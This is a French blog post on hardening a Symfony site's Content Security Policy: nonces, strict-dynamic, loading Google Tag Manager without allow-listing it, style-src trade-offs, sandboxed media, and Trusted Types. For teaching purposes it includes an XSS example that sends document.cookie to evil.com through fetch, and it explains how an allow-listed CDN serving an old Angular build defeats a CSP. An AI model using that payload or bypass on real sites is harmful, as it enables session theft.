La première version de ce billet date de mars 2025 et récitait le manuel : nonces partout, unsafe-inline nulle part, Trusted Types en horizon. Depuis, ce blog a appliqué le programme sur lui-même, et la prod a rendu sa copie. Un retrait de unsafe-inline commité fièrement fin février 2026, une machine arrière trois semaines plus tard, des badges de catégories cassés entre les deux. Cette réécriture raconte les deux versions : ce que la doc promet, et ce que la prod en laisse. Vous y trouverez la config réelle du site, un tag manager chargé sans jamais être whitelisté, et l'endroit précis où le gilet pare-balles laisse passer les coups.
Le navigateur exécute d'abord, vérifie ensuite
Quand le parser HTML rencontre une balise <script>, il suspend le rendu, télécharge la ressource, la compile et l'exécute. À aucun moment il ne se demande si ce script a le droit d'être là. Une injection XSS exploite exactement cette confiance : faire passer une chaîne de caractères pour du code.
<!-- Ce que l'on croit afficher -->
<h1>Bienvenue, <?php echo $username; ?></h1>
<!-- Ce que l'attaquant obtient via ?username=<script>... -->
<h1>Bienvenue, <script>fetch('https://evil.com?c='+document.cookie)</script></h1>Content Security Policy intervient un cran avant. À chaque ressource, le navigateur consulte le header Content-Security-Policy : si elle ne matche pas la politique, la requête n'est même pas émise. Le code n'est ni téléchargé, ni compilé, ni exécuté. C'est le principe du gilet : arrêter le projectile avant qu'il touche l'organe, pas soigner la plaie après.
Les allow-lists, un gilet acheté sur catalogue
Historiquement, on configurait la CSP en listant les domaines de confiance :
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com https://apis.google.com;Ça semble logique, et c'est une passoire. Ces domaines hébergent des milliers de bibliothèques, dont de vieilles versions vulnérables. Si cdnjs.cloudflare.com est autorisé, un attaquant peut injecter <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"> : le script est légitime, la CSP le laisse passer, et cette version d'Angular contient des gadgets qui permettent d'exécuter du code arbitraire depuis le DOM. L'attaquant retourne vos propres règles contre vous.
Ce constat a un acte de décès : l'étude « CSP Is Dead, Long Live CSP! » (2016), qui a passé au crible plus d'un milliard d'hôtes et mesuré que 94,72 % des politiques distinctes déployées étaient contournables. Une allow-list, c'est un gilet taille standard commandé sur catalogue : il couvre le torse en vitrine, et il baille sous les aisselles dès qu'on lève les bras.
Le sur-mesure : nonce et strict-dynamic
La réponse s'appelle Strict CSP. Tout interdire par défaut, et autoriser script par script grâce à un nonce (Number used ONCE) : un jeton aléatoire, généré côté serveur à chaque requête, présent à la fois dans le header et sur la balise.
Content-Security-Policy: script-src 'nonce-R4nd0mStr1ngB4se64';<script nonce="R4nd0mStr1ngB4se64">
console.log('Exécuté : le nonce matche.');
</script>
<script>
alert('Bloqué : pas de nonce.');
</script>L'attaquant qui injecte une balise ne connaît pas le nonce de la requête en cours, puisqu'il change à chaque réponse. Son script reste lettre morte. Voilà le sur-mesure : le gilet est recousu à chaque requête, aux mesures exactes de la page servie.
Sur ce blog, c'est NelmioSecurityBundle qui coud. Voici la config réellement en prod aujourd'hui, extraite de config/packages/nelmio_security.php :
Sur le même sujet
EasyAdmin : sécuriser un admin sans toucher à setPermission()
'csp' => [
'enabled' => true,
'enforce' => [
'level1_fallback' => false,
'report-uri' => '%router.request_context.base_url%/nelmio/csp/report',
'default-src' => ['self'],
'base-uri' => ['self'],
'script-src' => ['self', 'strict-dynamic', 'wasm-unsafe-eval', 'data:'],
'style-src' => ['self', 'unsafe-inline', 'https://cdn.jsdelivr.net'],
// img-src, connect-src, media-src : sous-domaines internes + Google
'frame-ancestors' => ['none'],
'worker-src' => ['self', 'blob:'],
'object-src' => ['none'],
'upgrade-insecure-requests' => true,
],
'report_logger_service' => 'monolog.logger.csp_report',
],Trois détails que la doc ne met pas en avant :
strict-dynamicchange la sémantique de toute la directive. Dès qu'il est présent, un navigateur CSP3 ignore'self'et les schémas commedata:: seuls comptent les nonces, et la confiance se propage aux scripts que les scripts noncés créent eux-mêmes. Les sources listées ne servent plus que de repli aux vieux navigateurs.wasm-unsafe-evalest le prix d'une feature : le résumé de billets calculé localement dans votre navigateur passe par ONNX Runtime, qui compile du WebAssembly. Sans cette source, la CSP tue la feature. Chaque mot d'une directive devrait pouvoir se justifier comme ça.level1_fallback: falserefuse le mode de compatibilité CSP1 de Nelmio, qui réinjecterait'unsafe-inline'pour les navigateurs préhistoriques. On assume de les laisser au bord de la route.
Le nonce, lui, ne se gère pas à la main : la fonction Twig csp_nonce('script') le pose là où il faut, à commencer par l'importmap dans base.html.twig.
Pour aller plus loin
AssetMapper : le frontend de Symfony sans Node ni bundler
Charger Google Tag Manager sans le whitelister
C'est la conséquence la plus contre-intuitive de strict-dynamic, et la plus utile. Ce blog charge GTM et GA4 (après consentement explicite, doctrine CNIL oblige), et pourtant script-src ne contient aucun domaine Google. Le chargement se fait dans un contrôleur Stimulus :
// assets/controllers/consent_controller.js (extrait)
// Script créé par notre code → hérite de la confiance via `strict-dynamic`
// (CSP3) : inutile de mettre googletagmanager.com en allowlist script-src.
// Les beacons GA4/GTM sont couverts par connect-src / img-src.
const script = document.createElement("script");
script.async = true;
script.src = `https://www.googletagmanager.com/gtm.js?id=${encodeURIComponent(this.gtmContainerIdValue)}`;
document.head.appendChild(script);Le contrôleur Stimulus est chargé par l'importmap, qui porte le nonce. Le script GTM est créé par ce code trusté, donc il hérite de la confiance. Les beacons de mesure, eux, ne sont pas des scripts : ils passent par img-src et connect-src, où les domaines Google sont listés explicitement. Résultat : l'allow-list de scripts reste vide, et le jour où on retire GTM, il n'y a même pas une ligne de CSP à nettoyer.
style-src, le trou sous l'aisselle
Voilà la partie que la première version de ce billet racontait au futur, et que la prod a corrigée depuis.
Fin février 2026, j'ai appliqué le manuel jusqu'au bout : retrait de 'unsafe-inline' de style-src sur les pages publiques, les quelques <style> dynamiques (les badges de couleur des catégories) protégés par des nonces. Le commit était propre, les tests passaient, le header était exemplaire.
Trois semaines plus tard, le 22 mars, une simplification des templates retire ces nonces de style, et les pages publiques se retrouvent sans aucun mécanisme de style inline : badges de catégories et bordures de cartes cassés. Machine arrière le jour même, le message de commit est resté dans l'historique : « stop stripping unsafe-inline on public routes ».
La leçon tient en deux règles de spec que peu de gens lisent jusqu'au bout :
- Quand un nonce est présent dans une directive,
'unsafe-inline'est silencieusement ignoré. Les deux ne cohabitent pas : poser un seul nonce de style, c'est éteindreunsafe-inlinepartout. - HTML ne propose aucun moyen de poser un nonce sur un attribut
style="...". Le nonce n'existe que sur les éléments<style>et<link>. Or toute bibliothèque qui manipule le DOM (ProseMirror, TomSelect, EasyAdmin côté admin) écrit duelement.styleprogrammatique, innonçable par construction.
Et un piège bonus : Nelmio et le WebProfiler de Symfony poussent leurs propres nonces dans style-src sans demander votre avis. Même en nettoyant vos templates, la directive se retrouve contaminée, et unsafe-inline s'éteint. D'où la pièce la plus inavouable de l'implémentation actuelle, un listener dont le seul métier est de retirer les nonces de style que d'autres y mettent :
// src/EventListener/Security/CspPolicySubscriber.php (extrait)
private function stripStyleNonces(string $csp): string
{
return (string) preg_replace_callback(
'/style-src(?:-elem)?\s+[^;]+/',
static fn(array $match): string => (string) preg_replace(
"/\s*'nonce-[^']+'/",
'',
$match[0],
),
$csp,
);
}Oui, ce blog sert style-src 'unsafe-inline' en 2026, et un listener y veille. C'est la sangle du gilet qu'on desserre parce que sinon on ne respire plus, et on la desserre en le documentant. Le risque résiduel est réel (un style injecté peut exfiltrer des données via des sélecteurs CSS) mais sans commune mesure avec une exécution de script : lent, bruyant, limité à ce que le CSS voit.
Savoir où on prend les balles
Un gilet qu'on ne contrôle jamais après l'impact ne sert qu'à se rassurer. Deux dispositifs complètent la politique :
Le canal de report, d'abord. La directive report-uri pointe vers un endpoint interne, et chaque violation atterrit dans un canal Monolog dédié (csp_report). Chaque durcissement de la politique s'est fait en surveillant ce canal : sans lui, on resserre le gilet à l'aveugle et on découvre les fonctionnalités cassées via les lecteurs.
Le sous-domaine média, ensuite. La CSP applicative de Nelmio ne s'applique qu'aux réponses HTML de Symfony : les fichiers uploadés, servis en BinaryFileResponse sur media.lecodeestdanslepre.fr, passent à travers. C'est Caddy qui les couvre, avec la politique la plus courte du site :
header @media_files Content-Security-Policy "default-src 'none'; sandbox"
header @media_files X-Content-Type-Options "nosniff"sandbox sans argument : un fichier média ouvert directement ne peut ni exécuter de script, ni soumettre de formulaire, ni ouvrir de popup. Un contenu uploadé n'est pas un contenu applicatif, il n'a droit à rien.
Trusted Types, la version honnête
Bloquer les balises <script> ne protège pas du DOM XSS : le script légitime, dûment noncé, qui fait element.innerHTML = userInput reste une porte ouverte. Trusted Types répond à ça en exigeant que les puits d'injection (innerHTML, document.write...) reçoivent des objets typés plutôt que des chaînes brutes.
Sécurité et IA
Une IA a trouvé les failles que ma QA ne voyait plus
Ce blog embarque la policy, neuf lignes :
import DOMPurify from "dompurify";
if (window.trustedTypes?.createPolicy) {
window.trustedTypes.createPolicy("default", {
createHTML: (string) => {
return DOMPurify.sanitize(string);
},
});
}Et voici la partie que la première version de ce billet passait sous silence : cette policy ne fait rien aujourd'hui. Tant que le header ne contient pas require-trusted-types-for 'script', le navigateur ne sollicite jamais la policy default ; les puits d'injection acceptent les chaînes brutes comme avant. Le filet est cousu, mais personne ne le tend.
Pourquoi ne pas activer l'enforcement ? Parce que l'admin de ce blog repose sur des bibliothèques (EasyAdmin, ProseMirror et leur écosystème) qui assignent du HTML en chaînes brutes à longueur de code. Activer la directive aujourd'hui, c'est casser l'admin pour gagner une protection sur des pages où l'input utilisateur est déjà sanitisé côté serveur. Le rapport coût/bénéfice ne passe pas encore ; la policy est là pour le jour où il passera.
Ce billet s'arrête là où commencent les en-têtes voisins : HSTS, Permissions-Policy, Referrer-Policy et le reste du casque méritent leur propre traitement, une autre fois.
Le mot de la fin
La version 2025 de ce billet se terminait sur une promesse d'invulnérabilité. La version 2026 préfère un constat : ce header vit au rythme du site. Relisez la config plus haut, chaque source y raconte une feature. wasm-unsafe-eval est entré avec le résumé de billets calculé dans votre navigateur. *.giphy.com est arrivé avec le bloc GIF, *.googleusercontent.com avec le login Google de l'admin. La mesure d'audience, elle, s'est glissée sous strict-dynamic sans ajouter une seule source de script. Et les fichiers uploadés ont fini par obtenir leur politique à eux, plus courte et plus dure que celle des pages. Une CSP en bonne santé, c'est le changelog du site lisible dans un header.
C'est aussi pour ça que le gilet pare-balles ne se range pas dans un placard après l'achat. Chaque feature change la morphologie du site : un tag manager, un bloc GIF, un modèle qui tourne en WebAssembly, autant de retouches à reporter sur le gilet. Celui qu'on a ajusté il y a trois ans et jamais ressorti depuis protège le site d'il y a trois ans.
Et la vôtre : quelle feature l'a fait évoluer pour la dernière fois ?
Une coquille, une erreur dans ce billet ? Signale-la-moi.
Ce billet est publié sous licence Creative Commons BY-NC-SA 4.0 (attribution, pas d'usage commercial, partage dans les mêmes conditions).